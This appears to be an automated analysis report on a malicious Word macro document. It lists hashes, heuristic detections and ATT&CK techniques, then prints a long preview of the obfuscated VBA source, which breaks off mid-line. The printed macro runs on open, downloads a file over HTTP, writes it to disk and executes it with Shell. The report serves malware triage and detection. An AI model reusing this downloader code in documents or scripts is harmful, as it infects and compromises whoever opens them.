Office (OOXML) malware analysis — malicious · 724b6ed9f68ae9e2

MALICIOUS

Office (OOXML)

41.3 KB Created: 2014-11-13 15:51:00 UTC Authoring application: Microsoft Office Outlook 12.0000 First seen: 2015-02-05

MD5: 8d802c880855f5ec17da4141ccc9ab0c SHA-1: af7916cf86723a48bac82a4dc8fb35779d47a0df SHA-256: 724b6ed9f68ae9e217f1b88a8107f7b3cb95cf8a55ce2fbf0a7c455099f66012

196 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1203 Exploitation for Client Execution

The OOXML document contains VBA macros, indicated by multiple heuristic firings including OLE_VBA_VBA and OLE_VBA_PCODE_AUTOEXEC_EXEC. The AUTO_OPEN macro is present and attempts to use the Shell function, a common technique for executing arbitrary commands. This suggests the macro is designed to download and execute a secondary payload.

Heuristics 10

VBA project inside OOXML medium 7 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    TKFRNZTFHUK = Shell(OSLEMFLVBSW, 1)
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set DODOKURQEXU = CreateObject("MSXML2.XMLHTTP")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AUTOOPEN()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub WORKBOOK_OPEN()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub AUTO_OPEN()
```

Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)

Matched line in script

pJjokbn = Environ(HEXTOSTRING(Chr$(53) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(48))) & HEXTOSTRING(Chr$(53) & Chr$(67) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(50) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(55) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(57) & Chr$(53) & Chr$(48) & Chr$(53) & Chr$(56) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53))

Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	105927 bytes
SHA-256: `f01a09bd62a597db5708b3f8ca5540833c56729d2b5f3edd105dd6e6d28c9fb1`
Detection ClamAV: No threats found Obfuscation or payload: likely 291 of 428 identifiers look randomly generated (e.g. 'MQSKJZQBJLFINBL') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AUTO_OPEN() Dim YLXDMOXL, KVOHXXBE, RRWLVPZF As String Dim FUYCGSYQ, LZFKZICE, BCXDGZHM As String FUYCGSYQ = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(70) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(57) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) LZFKZICE = LTrim(FUYCGSYQ) BCXDGZHM = RTrim(LZFKZICE) YLXDMOXL = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(57) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) Dim JDXATPTY, LVPWFUGN, IFHVLLNO As String JDXATPTY = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(49) & Chr$(52) & Chr$(57) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) LVPWFUGN = LTrim(JDXATPTY) IFHVLLNO = RTrim(LVPWFUGN) KVOHXXBE = LTrim(YLXDMOXL) Dim YLMWCWWI, KBYVBOBL, ETLAACZR As String YLMWCWWI = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(57) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) KBYVBOBL = LTrim(YLMWCWWI) ETLAACZR = RTrim(KBYVBOBL) RRWLVPZF = RTrim(KVOHXXBE) Dim AHRJATUS, CJFEWORD, KJVGHFAF As String AHRJATUS = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(56) & Chr$(53) & Chr$(50) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(56) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) CJFEWORD = LTrim(AHRJATUS) KJVGHFAF = RTrim(CJFEWORD) ZFCAHVQGVAT End Sub Sub AUTOOPEN() Dim NCHZDGGC, WVBFULSV, JBOBZVPB As String Dim HMSVOHXW, WGMLWPDF, AQAFIYRT As String HMSVOHXW = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(65) & Chr$(53) & Chr$(49) & Chr$(52) & Chr$(69) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) WGMLWPDF = LTrim(HMSVOHXW) AQAFIYRT = RTrim(WGMLWPDF) NCHZDGGC = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(48) & Chr$(53) & Chr$(57) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) Dim YBLYHNQT, WGBOWDCD, CNFEROTI As String YBLYHNQT = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(57) & Chr$(53) & Chr$(55) & Chr$(53) & Chr$(48) & Chr$(52) & Chr$(65) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(54) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) WGBOWDCD = LTrim(YBLYHNQT) CNFEROTI = RTrim(WGBOWDCD) WVBFULSV = LTrim(NCHZDGGC) Dim PMZQICDL, IYYCYBKK, MSKNODXE As String PMZQICDL = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(56) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(54) & Chr$(53) & Chr$(52) & Chr$(52) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) IYYCYBKK = LTrim(PMZQICDL) MSKNODXE = RTrim(IYYCYBKK) JBOBZVPB = RTrim(WVBFULSV) Dim XWJJSDFN, JWAEYJQZ, DXQGAWOE As String XWJJSDFN = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(50) & Chr$(52) & Chr$(50) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(69) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) JWAEYJQZ = LTrim(XWJJSDFN) DXQGAWOE = RTrim(JWAEYJQZ) AUTO_OPEN End Sub Sub WORKBOOK_OPEN() Dim TFBNAQRS, POIWGYWE, GTGHZADW As String Dim NHIQDZPY, TQJYNXZV, PYVADKLH As String NHIQDZPY = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(57) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(67) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) TQJYNXZV = LTrim(NHIQDZPY) PYVADKLH = RTrim(TQJYNXZV) TFBNAQRS = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(48) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) Dim YBLPZXTB, IQURQLGL, CADUJYNA As String YBLPZXTB = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(67) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(49) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) IQURQLGL = LTrim(YBLPZXTB) CADUJYNA = RTrim(IQURQLGL) POIWGYWE = LTrim(TFBNAQRS) Dim NARYZEDC, DUHORHHI, QJLWZKWY As String NARYZEDC = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(54) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(56) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(53) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) DUHORHHI = LTrim(NARYZEDC) QJLWZKWY = RTrim(DUHORHHI) GTGHZADW = RTrim(POIWGYWE) Dim DWLYZJAR, OWEKWXVT, RXFRHNXU As String DWLYZJAR = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(55) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) OWEKWXVT = LTrim(DWLYZJAR) RXFRHNXU = RTrim(OWEKWXVT) AUTO_OPEN End Sub Function QYLWAYQRCZW(ByVal CMMSZREMUET As String, ByVal OSLEMFLVBSW As String) As Boolean Dim DODOKURQEXU As Object, HFNZGSPUYMR As Long, XKSLVMLFHXE As Long, FIXOKGJVEZV() As Byte Dim IKNQAPOP, PZGTPILR, BLMPHLRS As String Dim RLUMZSCW, OFFGGYFD, FOXPZZYT As String RLUMZSCW = " PGGZWV " OFFGGYFD = LTrim(RLUMZSCW) FOXPZZYT = RTrim(OFFGGYFD) IKNQAPOP = " AZJGNW " Dim NILPVHVV, GVVFRAPY, KODUFBLN As String NILPVHVV = " EDOLXT " GVVFRAPY = LTrim(NILPVHVV) KODUFBLN = RTrim(GVVFRAPY) PZGTPILR = LTrim(IKNQAPOP) Dim QGYBNVIG, XMKZASQN, ONRTRBGQ As String QGYBNVIG = " QEWJEM " XMKZASQN = LTrim(QGYBNVIG) ONRTRBGQ = RTrim(XMKZASQN) BLMPHLRS = RTrim(PZGTPILR) Dim DCYPBVUO, IVHXLERP, RBNIFIZQ As String DCYPBVUO = " DNKCJL " IVHXLERP = LTrim(DCYPBVUO) RBNIFIZQ = RTrim(IVHXLERP) Set DODOKURQEXU = CreateObject("MSXML2.XMLHTTP") DODOKURQEXU.Open "GET", CMMSZREMUET, False Dim GJZJVEBN, DZYRXTTB, BIKUCKIO As String Dim AGTPAUGO, TQDTFAUA, VNEHTIXR As String AGTPAUGO = " GVYLXG " TQDTFAUA = LTrim(AGTPAUGO) VNEHTIXR = RTrim(TQDTFAUA) GJZJVEBN = " LUZKDE " Dim LRYLSHDH, ULSXKABV, OTNHAVIL As String LRYLSHDH = " SVECHK " ULSXKABV = LTrim(LRYLSHDH) OTNHAVIL = RTrim(ULSXKABV) DZYRXTTB = LTrim(GJZJVEBN) Dim SGBURCNH, PBEMZBTG, WTGCRDON As String SGBURCNH = " RYANHA " PBEMZBTG = LTrim(SGBURCNH) WTGCRDON = RTrim(PBEMZBTG) BIKUCKIO = RTrim(DZYRXTTB) Dim XLCRHUHQ, LMUHPQFS, FMJZTHQD As String XLCRHUHQ = " KQNMBP " LMUHPQFS = LTrim(XLCRHUHQ) FMJZTHQD = RTrim(LMUHPQFS) DODOKURQEXU.SEND "pHOblk" Dim AGAOXNZR, CHQMJRNT, KJWUQOXY As String Dim CPGXWPLF, ZTCJORPY, UARSWBZC As String CPGXWPLF = " DXVVLH " ZTCJORPY = LTrim(CPGXWPLF) UARSWBZC = RTrim(ZTCJORPY) AGAOXNZR = " NVQAAN " Dim KOPEJCZO, MLBCNMSZ, OPRNTYCQ As String KOPEJCZO = " YVXCUZ " MLBCNMSZ = LTrim(KOPEJCZO) OPRNTYCQ = RTrim(MLBCNMSZ) CHQMJRNT = LTrim(AGAOXNZR) Dim SFTSRTEO, CLJHULYL, WRMZTWSL As String SFTSRTEO = " RKHGER " CLJHULYL = LTrim(SFTSRTEO) WRMZTWSL = RTrim(CLJHULYL) KJWUQOXY = RTrim(CHQMJRNT) Dim GFXYTXLQ, QFYKBNJS, YGHRMTGD As String GFXYTXLQ = " FWDWMK " QFYKBNJS = LTrim(GFXYTXLQ) YGHRMTGD = RTrim(QFYKBNJS) FIXOKGJVEZV = DODOKURQEXU.RESPONSEBODY Dim PIDZIJXY, HEMXMSFV, MBZJUUYH As String Dim WMLYBLZE, NHAZSFMM, TQIXNOQS As String WMLYBLZE = " KEWOLG " NHAZSFMM = LTrim(WMLYBLZE) TQIXNOQS = RTrim(NHAZSFMM) PIDZIJXY = " NPKLPA " Dim DPKWKTHH, HWYHAZVP, RSSLUFPK As String DPKWKTHH = " HVDUWY " HWYHAZVP = LTrim(DPKWKTHH) RSSLUFPK = RTrim(HWYHAZVP) HEMXMSFV = LTrim(PIDZIJXY) Dim YMQPPDZH, KNCDDATA, RUPHFHIQ As String YMQPPDZH = " AXUAYX " KNCDDATA = LTrim(YMQPPDZH) RUPHFHIQ = RTrim(KNCDDATA) MBZJUUYH = RTrim(HEMXMSFV) Dim ERNJLQWV, BTPZSGKN, MYLFUMGA As String ERNJLQWV = " IHZDAS " BTPZSGKN = LTrim(ERNJLQWV) MYLFUMGA = RTrim(BTPZSGKN) XKSLVMLFHXE = FreeFile Open OSLEMFLVBSW For Binary As #XKSLVMLFHXE Dim IGPBFMOH, QNBLVKLQ, BHRXEERL As String Dim KGEJRIYB, PYLZMGWE, HAZCIPDW As String KGEJRIYB = " PQTXCG " PYLZMGWE = LTrim(KGEJRIYB) HAZCIPDW = RTrim(PYLZMGWE) IGPBFMOH = " FFXWYF " Dim UMQVQLWO, PTBKMJTE, VWTXBZJS As String UMQVQLWO = " DECWKD " PTBKMJTE = LTrim(UMQVQLWO) VWTXBZJS = RTrim(PTBKMJTE) QNBLVKLQ = LTrim(IGPBFMOH) Dim IOPGGMUZ, LGXKHIQD, YWIWKWFC As String IOPGGMUZ = " OFCSPK " LGXKHIQD = LTrim(IOPGGMUZ) YWIWKWFC = RTrim(LGXKHIQD) BHRXEERL = RTrim(QNBLVKLQ) Dim FCRVYPBR, OCFPAFXT, RVBWWLMY As String FCRVYPBR = " DNJRIS " OCFPAFXT = LTrim(FCRVYPBR) RVBWWLMY = RTrim(OCFPAFXT) Put #XKSLVMLFHXE, , FIXOKGJVEZV Dim ZHWMGAHF, FXIVHGMV, SYPPFJBC As String Dim ILJFYMKR, FFVOLHOX, URGMPXVB As String ILJFYMKR = " YNVMVO " FFVOLHOX = LTrim(ILJFYMKR) URGMPXVB = RTrim(FFVOLHOX) ZHWMGAHF = " SYVUWG " Dim BJBHOTLD, FUTLGJTW, HKMFVFGH As String BJBHOTLD = " GRDOGN " FUTLGJTW = LTrim(BJBHOTLD) HKMFVFGH = RTrim(FUTLGJTW) FXIVHGMV = LTrim(ZHWMGAHF) Dim HSNVMGSJ, FCRQKJKG, NEHFLTWN As String HSNVMGSJ = " LJAWQC " FCRQKJKG = LTrim(HSNVMGSJ) NEHFLTWN = RTrim(FCRQKJKG) SYPPFJBC = RTrim(FXIVHGMV) Dim STCCLGPZ, ITUOFLUE, GQITRSUL As String STCCLGPZ = " TYOIDI " ITUOFLUE = LTrim(STCCLGPZ) GQITRSUL = RTrim(ITUOFLUE) Close #XKSLVMLFHXE Dim HELJAYVX, SEZEWQWC, URSGHGLV As String Dim OLFNDZRS, DFWMNVWE, LPEGDLSW As String OLFNDZRS = " SELKNU " DFWMNVWE = LTrim(OLFNDZRS) LPEGDLSW = RTrim(DFWMNVWE) HELJAYVX = " ZZQNKC " Dim SHHTIAXP, GZRBKVTE, EKOECPJS As String SHHTIAXP = " HGSQHR " GZRBKVTE = LTrim(SHHTIAXP) EKOECPJS = RTrim(GZRBKVTE) SEZEWQWC = LTrim(HELJAYVX) Dim LJLUMFJU, KZXLKHXT, EIIXMRNH As String LJLUMFJU = " IMCDQO " KZXLKHXT = LTrim(LJLUMFJU) EIIXMRNH = RTrim(KZXLKHXT) URSGHGLV = RTrim(SEZEWQWC) Dim JRGREVMD, STBHVZKG, ITOALUGH As String JRGREVMD = " GHPUUL " STBHVZKG = LTrim(JRGREVMD) ITOALUGH = RTrim(STBHVZKG) Dim TKFRNZTFHUK Dim FQGMSOEQ, LYXGBRWZ, SXDNHQPT As String Dim TOLEVTSP, VNOFHSZD, RWJOZILT As String TOLEVTSP = " RISGIA " VNOFHSZD = LTrim(TOLEVTSP) RWJOZILT = 